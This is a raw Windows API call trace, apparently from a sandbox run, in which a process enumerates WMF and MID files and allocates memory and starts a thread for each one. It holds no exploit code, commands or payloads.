	[0253.861] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.862] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f524010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27f0
	[0253.863] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.864] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2135, dwReserved0=0x72, dwReserved1=0x0, cFileName="SWEST_01.MID", cAlternateFileName="")) returned 1
	[0253.864] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.864] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f5276f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27e0
	[0253.866] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.867] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7065e700, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7065e700, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x4f0, dwReserved0=0x72, dwReserved1=0x0, cFileName="SY00110_.WMF", cAlternateFileName="")) returned 1
	[0253.867] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.867] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f52add0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27f4
	[0254.011] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.012] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb76ecf00, ftCreationTime.dwHighDateTime=0x1bd4b19, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb76ecf00, ftLastWriteTime.dwHighDateTime=0x1bd4b19, nFileSizeHigh=0x0, nFileSizeLow=0x1844, dwReserved0=0x72, dwReserved1=0x0, cFileName="SY00127_.WMF", cAlternateFileName="")) returned 1
	[0254.012] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.012] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27f8
	[0254.014] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.014] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb62ee00, ftCreationTime.dwHighDateTime=0x1bd4ae2, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb62ee00, ftLastWriteTime.dwHighDateTime=0x1bd4ae2, nFileSizeHigh=0x0, nFileSizeLow=0x81c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SY00132_.WMF", cAlternateFileName="")) returned 1
	[0254.014] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.015] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27fc
	[0254.016] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.016] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f34ba00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f34ba00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1412, dwReserved0=0x72, dwReserved1=0x0, cFileName="SY00170_.WMF", cAlternateFileName="")) returned 1
	[0254.016] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.017] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2804
	[0254.018] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.018] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d702300, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3d702300, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x50c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SY00560_.WMF", cAlternateFileName="")) returned 1
	[0254.019] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.019] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2808
	[0254.020] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.020] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd194b700, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd194b700, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0x778, dwReserved0=0x72, dwReserved1=0x0, cFileName="SY00642_.WMF", cAlternateFileName="")) returned 1
	[0254.021] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.021] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x280c
	[0254.022] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.023] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2094, dwReserved0=0x72, dwReserved1=0x0, cFileName="SY00788_.WMF", cAlternateFileName="")) returned 1
	[0254.023] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.024] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2810
	[0254.025] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.025] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2fdc, dwReserved0=0x72, dwReserved1=0x0, cFileName="SY00792_.WMF", cAlternateFileName="")) returned 1
	[0254.043] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.043] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2814
	[0254.045] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.045] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2764, dwReserved0=0x72, dwReserved1=0x0, cFileName="SY00795_.WMF", cAlternateFileName="")) returned 1
	[0254.045] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.046] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2818
	[0254.047] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.047] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5ec100, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5ec100, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x9b0, dwReserved0=0x72, dwReserved1=0x0, cFileName="SY00882_.WMF", cAlternateFileName="")) returned 1
	[0254.047] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.048] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x281c
	[0254.049] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.049] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x72, dwReserved1=0x0, cFileName="SY01006_.WMF", cAlternateFileName="")) returned 1
	[0254.049] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.050] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2820
	[0254.051] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.052] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x865cd000, ftCreationTime.dwHighDateTime=0x1bd4be7, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x865cd000, ftLastWriteTime.dwHighDateTime=0x1bd4be7, nFileSizeHigh=0x0, nFileSizeLow=0x2734, dwReserved0=0x72, dwReserved1=0x0, cFileName="SY01252_.WMF", cAlternateFileName="")) returned 1
	[0254.052] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.052] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2824
	[0254.053] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.054] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x852ba300, ftCreationTime.dwHighDateTime=0x1bd4be7, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x852ba300, ftLastWriteTime.dwHighDateTime=0x1bd4be7, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x72, dwReserved1=0x0, cFileName="SY01253_.WMF", cAlternateFileName="")) returned 1
	[0254.054] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.054] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2828
	[0254.055] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.057] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf461c100, ftCreationTime.dwHighDateTime=0x1bd4c00, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf461c100, ftLastWriteTime.dwHighDateTime=0x1bd4c00, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x72, dwReserved1=0x0, cFileName="SY01462_.WMF", cAlternateFileName="")) returned 1
	[0254.057] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.057] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x282c
	[0254.058] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.059] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6e15600, ftCreationTime.dwHighDateTime=0x1bd4bf8, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6e15600, ftLastWriteTime.dwHighDateTime=0x1bd4bf8, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x72, dwReserved1=0x0, cFileName="SY01491_.WMF", cAlternateFileName="")) returned 1
	[0254.059] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.060] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2830
	[0254.060] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.061] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45a48d00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x45a48d00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x13c4, dwReserved0=0x72, dwReserved1=0x0, cFileName="SY01563_.WMF", cAlternateFileName="")) returned 1
	[0254.061] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.062] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4cad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2834
	[0254.131] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.132] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f39c000, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7f39c000, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x72, dwReserved1=0x0, cFileName="SY01572_.WMF", cAlternateFileName="")) returned 1
	[0254.132] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.133] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2838
	[0254.134] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.135] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda9a9b00, ftCreationTime.dwHighDateTime=0x1bd4c4d, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xda9a9b00, ftLastWriteTime.dwHighDateTime=0x1bd4c4d, nFileSizeHigh=0x0, nFileSizeLow=0x338e, dwReserved0=0x72, dwReserved1=0x0, cFileName="SY01590_.WMF", cAlternateFileName="")) returned 1
	[0254.135] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.136] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x283c
	[0254.136] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.137] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8b6, dwReserved0=0x72, dwReserved1=0x0, cFileName="TAIL.WMF", cAlternateFileName="")) returned 1
	[0254.137] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.138] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2840
	[0254.139] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.140] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9583f00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9583f00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0xbde2, dwReserved0=0x72, dwReserved1=0x0, cFileName="TN00011_.WMF", cAlternateFileName="")) returned 1
	[0254.140] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.140] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2844
	[0254.141] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.142] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d5e, dwReserved0=0x72, dwReserved1=0x0, cFileName="TN00014_.WMF", cAlternateFileName="")) returned 1
	[0254.142] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.142] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2848
	[0254.143] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.144] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x243c, dwReserved0=0x72, dwReserved1=0x0, cFileName="TN00018_.WMF", cAlternateFileName="")) returned 1
	[0254.144] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.144] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x284c
	[0254.145] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.146] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x175a, dwReserved0=0x72, dwReserved1=0x0, cFileName="TN00095_.WMF", cAlternateFileName="")) returned 1
	[0254.146] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.146] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2850
	[0254.147] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.148] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53c9af00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x53c9af00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1c12, dwReserved0=0x72, dwReserved1=0x0, cFileName="TN00211_.WMF", cAlternateFileName="")) returned 1
	[0254.148] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.149] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2854
	[0254.150] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.150] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1b4a700, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd1b4a700, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x1224, dwReserved0=0x72, dwReserved1=0x0, cFileName="TN00217_.WMF", cAlternateFileName="")) returned 1
	[0254.150] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.151] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2858
	[0254.151] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
